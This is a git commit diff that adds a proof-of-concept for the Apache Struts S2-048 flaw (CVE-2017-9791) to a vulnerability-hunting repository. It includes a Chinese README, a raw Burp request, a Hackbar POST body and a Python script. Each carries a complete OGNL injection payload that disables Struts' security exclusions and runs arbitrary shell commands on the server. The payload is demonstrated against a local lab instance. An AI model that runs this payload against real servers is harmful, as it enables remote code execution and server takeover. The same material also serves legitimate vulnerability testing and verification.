[ADD S2-048] S2-048(CVE-CVE-2017-9791)

.gitignore

@@ -0,0 +1 @@
+*.local

README.md

@@ -10,6 +10,10 @@ Content Management System Vulnerability Hunter
 
 ### CMS 漏洞列表
 
+#### Struts
+
+- [S2-048(CVE-CVE-2017-9791)](Struts/S2-048(CVE-CVE-2017-9791))
+
 ##### WordPress
 - [WordPress_4.4_SSRF](WordPress/WordPress_4.4_SSRF)
 - [WordPress_4.7_Info_Disclosure](WordPress/WordPress_4.7_Info_Disclosure)

Struts/S2-048(CVE-2017-9791)/README.md

@@ -0,0 +1,35 @@
+# S2-048(CVE-2017-9791)
+
+## Affected Version 
+
+Struts 2.3.x
+
+此外需要满足下面的条件：
+
+1. 调用非默认插件 struts2-struts1-plugin.jar
+2. 代码中创建 ActionMessage 对象使用 字符串拼接的形式，如下：
+
+    messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
+
+## poc
+
+> 漏洞环境使用 Struts-2.3.32 版本 的 showcase 应用 
+
+Py 脚本验证 (poc.py)
+
+![](py-poc.png)
+
+Forefox Hackbar 验证：
+
+POST 数据包：
+
+    age=1&cmd=echo Affected by S2-048&__checkbox_bustedBefore=true&name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%23parameters.cmd%5B0%5D%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&description=test
+
+结果：
+
+![](firefox-poc.png)
+
+## References
+
+1. https://cwiki.apache.org/confluence/display/WW/S2-048
+2. https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-048

Struts/S2-048(CVE-2017-9791)/burp-poc.txt

@@ -0,0 +1,10 @@
+POST /S2-048/integration/saveGangster.action HTTP/1.1
+Host: 127.0.0.1:8080
+Connection: close
+Accept: */*
+User-Agent: python-requests/2.13.0
+Referer: http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster
+Content-Length: 1200
+Content-Type: application/x-www-form-urlencoded
+
+age=1&cmd=echo Affected by S2-048&__checkbox_bustedBefore=true&name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%23parameters.cmd%5B0%5D%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&description=test

Struts/S2-048(CVE-2017-9791)/firefox-post.txt

@@ -0,0 +1 @@
+age=1&cmd=echo Affected by S2-048&__checkbox_bustedBefore=true&name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%23parameters.cmd%5B0%5D%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&description=test

Struts/S2-048(CVE-2017-9791)/poc.py

@@ -0,0 +1,55 @@
+# coding: utf-8
+
+import httplib         # use HTTP/1.0 to hack requests.exceptions.ChunkedEncodingError  https://stackoverflow.com/questions/14149100/incompleteread-using-httplib/20645845#20645845
+httplib.HTTPConnection._http_vsn = 10
+httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
+
+import requests
+
+
+def poc(url):
+
+    payload = "%{"
+    payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
+    payload += "(#_memberAccess?(#_memberAccess=#dm):"
+    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
+    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
+    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
+    payload += "(#ognlUtil.getExcludedClasses().clear())."
+    payload += "(#context.setMemberAccess(#dm))))."
+    payload += "(#cmd=#parameters.cmd[0])."
+    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
+    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
+    payload += "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))."
+    payload += "(#process=#p.start())."
+    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
+    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
+    payload += "(#ros.flush())"
+    payload += "}"
+
+
+    # print payload
+
+    data = {
+        "name": payload,
+        "cmd": "echo Affected by S2-048",
+        "age": 1,
+        "__checkbox_bustedBefore": "true",
+        "description": "test"
+    }
+
+    PROXIES = {'http':'http://127.0.0.1:8888'}
+
+    res = requests.post(url, data=data,proxies=PROXIES)
+
+    # print res.text
+    if 'Affected by S2-048' == res.text.strip():
+        print('[!] {} is Affected by S2-048!'.format(url))
+        return True
+    return False
+
+
+if __name__ == '__main__':
+
+    url = "http://127.0.0.1:8080/S2-048/integration/saveGangster.action"
+    poc(url)